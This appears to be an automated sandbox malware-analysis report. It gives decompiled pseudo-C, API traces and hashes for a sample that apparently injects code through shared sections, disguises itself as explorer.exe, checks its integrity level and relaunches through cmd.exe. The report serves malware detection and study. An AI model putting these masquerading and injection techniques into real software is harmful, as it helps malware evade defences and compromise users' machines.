Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004109DC Relevance: 10.7, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.384401898.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_rgtrtas.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b777afde16224dc867693fcbf08c6899fb83a7f21235bb0f302538fa3db35350
Instruction ID: 0b9269e43d2530a6fd3a8ec638db62207b45389e501b6254ffdc40e1088f84ca
Opcode Fuzzy Hash: b777afde16224dc867693fcbf08c6899fb83a7f21235bb0f302538fa3db35350
Instruction Fuzzy Hash: AF512271D093159BCF216BB58C046AF3A64AF543A8B20462BF850B72D1DABC98C18B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2E3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E309

Part of subcall function 0040E12E: __fltout2.LIBCMT ref: 0040E15A

__cftog_l.LIBCMT ref: 0040E32F
__cftoe_l.LIBCMT ref: 0040E361

Memory Dump Source

Source File: 0000000B.00000002.384401898.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_rgtrtas.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 19492c9a9c2abb8f16a0a8787e774dbabf618f5d44fd765466a2522a463b0bd6
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911833240014DFBCF225F96CC02CEE3F26BB18394B198826FE1869171C73AD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D02D.exePID: 2108, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	44.3%
Signature Coverage:	0%
Total number of Nodes:	106
Total number of Limit Nodes:	8

Executed Functions

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00409543(void* __ecx) {
				intOrPtr _v8;
				long _v12;
				long _v16;
				short _v1056;
				long _t24;
				void* _t28;
				WCHAR* _t30;
				WCHAR* _t31;

				_v8 = E00407E0C();
				E0040335C(__ecx,  &_v1056, 0x410);
				_t24 = GetWindowsDirectoryW( &_v1056, 0x104);
				_v12 = _t24;
				if(_v12 != 0 && _v12 < 0x104) {
					E0040B160( &_v1056, "\\");
					E0040B160( &_v1056, L"explorer.exe");
					 *0x46c2d0 = 0;
					_v16 = 0x1000;
					_t24 = NtAllocateVirtualMemory(0xffffffff, 0x46c2d0, 0,  &_v16, 0x3000, 4); // executed
					if( *0x46c2d0 != 0) {
						_t28 =  *0x46c2d0; // 0x5d0000
						E00408BFE( &_v16, _t28,  &_v1056);
						_t13 = _v8 + 0x1c; // 0xdb51e8ec
						EnterCriticalSection( *_t13);
						_t30 =  *0x46c2d0; // 0x5d0000
						_t15 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t15 + 0x38, _t30);
						_t31 =  *0x46c2d0; // 0x5d0000
						_t17 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t17 + 0x40, _t31);
						_t19 = _v8 + 0x1c; // 0xdb51e8ec
						LeaveCriticalSection( *_t19);
						return  *0x46cfb0(0, E004050A2, _v8);
					}
				}
				return _t24;
			}

0x00409551
0x00409560
0x00409574
0x0040957a
0x00409581
0x004095a0
0x004095b4
0x004095bc
0x004095c6
0x004095e1
0x004095ee
0x004095fb
0x00409601
0x0040960c
0x00409610
0x00409616
0x0040961f
0x00409626
0x0040962c
0x00409635
0x0040963c
0x00409645
0x00409649
0x00000000
0x0040965a
0x004095ee
0x00409718

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,005D0000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,005D0000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0040AEA4(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _t6;
				void* _t7;
				void* _t11;
				void* _t14;
				void* _t15;

				_t15 = __esi;
				_t14 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_v8 =  *[fs:0x30];
				E0040D1F6();
				_t13 = _v8;
				if( *((intOrPtr*)(_v8 + 0xa4)) > 5) {
					E00404369(__ebx, __edi, __esi); // executed
				}
				_t6 = E0040C13C(_t13);
				if(_t6 != 0) {
					_t7 = E00403AEE(_t13);
					__eflags = _t7;
					if(_t7 != 0) {
						E004043AD();
						__eflags = E00407D21(_t11, _t13, _t14, _t15);
						if(__eflags != 0) {
							Sleep(0x927c0);
							E004023F2(__eflags);
						}
						ExitProcess(0);
					}
					return _t7;
				} else {
					return _t6;
				}
			}

0x0040aea4
0x0040aea4
0x0040aea4
0x0040aea7
0x0040aeae
0x0040aeb1
0x0040aeb6
0x0040aec0
0x0040aec6
0x0040aec6
0x00401bd2
0x00401bd9
0x004044bc
0x004044c1
0x004044c3
0x0040a95e
0x0040a968
0x0040a96a
0x0040a975
0x0040a97b
0x0040a97b
0x00402b46
0x00402b46
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 0220003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0220024D

Strings

kernel32.dll, xrefs: 0220008F, 02200095
cess, xrefs: 0220018D

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c84998133a6f09befa8e4667c6b214795e7c43700411f50cb8d8da3717b06e4c
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B5526C74A11229DFDB64CF98C984BACBBB1BF09304F1480D9E54DAB356DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00405C4C() {
				void** _v8;
				void* _v12;
				long _v16;
				long _v20;
				int _v24;
				int _t31;

				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				while(OpenProcessToken(0xffffffff, 8,  &_v12) != 0) {
					GetTokenInformation(_v12, 0x19, 0, 0,  &_v16); // executed
					_push(_v16);
					_v8 = LocalAlloc(0, ??);
					_t31 = GetTokenInformation(_v12, 0x19, _v8, _v16,  &_v16); // executed
					if(_t31 != 0) {
						_v20 =  *(GetSidSubAuthority( *_v8, ( *(GetSidSubAuthorityCount( *_v8)) & 0x000000ff) - 0x00000001 & 0x000000ff));
						_v24 = _v20;
						if(0 != 0) {
							continue;
						}
						L3:
						if(_v12 != 0) {
							FindCloseChangeNotification(_v12); // executed
						}
						if(_v8 != 0) {
							LocalFree(_v8);
						}
						return _v24;
					}
					goto L3;
				}
				goto L3;
			}

0x00405c52
0x00405c59
0x00405c60
0x00405c67
0x00405c6e
0x00409c8c
0x00407a5f
0x00407a68
0x00407a71
0x00407a86
0x00407a8e
0x00401060
0x00401066
0x0040106b
0x00000000
0x00000000
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00402955
0x00000000
0x00407a94
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00404369(void* __ebx, void* __edi, void* __esi) {
				char _v528;
				char _v1052;
				short _v1576;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t24;

				GetModuleFileNameW(0,  &_v1576, 0x105);
				 *0x413084(0); // executed
				E00409543(_t24); // executed
				_t14 = E00405C4C(); // executed
				if(_t14 <= 0x2000) {
					_t15 = E00405C4C(); // executed
					if(_t15 >= 0x2000) {
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v1576, 0); // executed
					} else {
						_t25 =  &_v528;
						E0040335C( &_v528,  &_v528, 0x20a);
						E00405312(L"%systemroot%\\system32\\cmd.exe",  &_v528, 0x104);
						E00408BFE(_t25,  &_v1052, L"/C ");
						E0040B160( &_v1052,  &_v1576);
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v528,  &_v1052);
					}
					ExitProcess(0);
				} else {
					return 1;
				}
			}

0x00404380
0x00404388
0x0040438e
0x00404393
0x0040439d
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x004063e7
0x004063ee
0x00406407
0x0040641b
0x00406431
0x00406447
0x0040644c
0x0040a945
0x004043a3
0x00000000
0x004043a3

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,005D0000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,005D0000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
